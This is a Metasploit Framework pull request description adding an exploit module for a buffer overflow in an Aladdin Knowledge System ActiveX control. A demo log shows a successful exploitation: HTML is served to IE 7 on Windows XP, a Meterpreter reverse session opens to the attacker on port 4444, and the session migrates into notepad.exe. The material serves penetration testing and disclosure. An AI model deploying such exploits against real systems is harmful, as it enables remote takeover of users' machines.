rapid7/metasploit-framework — pull request #993 by wchen-r7 (2012-10-31 08:33:28+00:00)
Title: Add OSVDB-86723 Aladdin Knowledge System ChooseFilePath Bof

This module exploits a vulnerability found in Aladdin Knowledge System's ActiveX component. By supplying a long string of data to the ChooseFilePath() function, a buffer overflow occurs, which may result in remote code execution under the context of the user.

Demo:

msf exploit(aladdin) > [*] Server started.
[*] 10.0.1.6 aladdin - Requesting: /etVGQnV0
[*] 10.0.1.6 aladdin - Target selected as: IE 7 on Windows XP SP3
[*] 10.0.1.6 aladdin - Sending HTML...
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.6:1043) at 2012-10-31 03:23:24 -0500
[*] Session ID 2 (10.0.1.3:4444 -> 10.0.1.6:1043) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3624)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4056
[+] Successfully migrated to process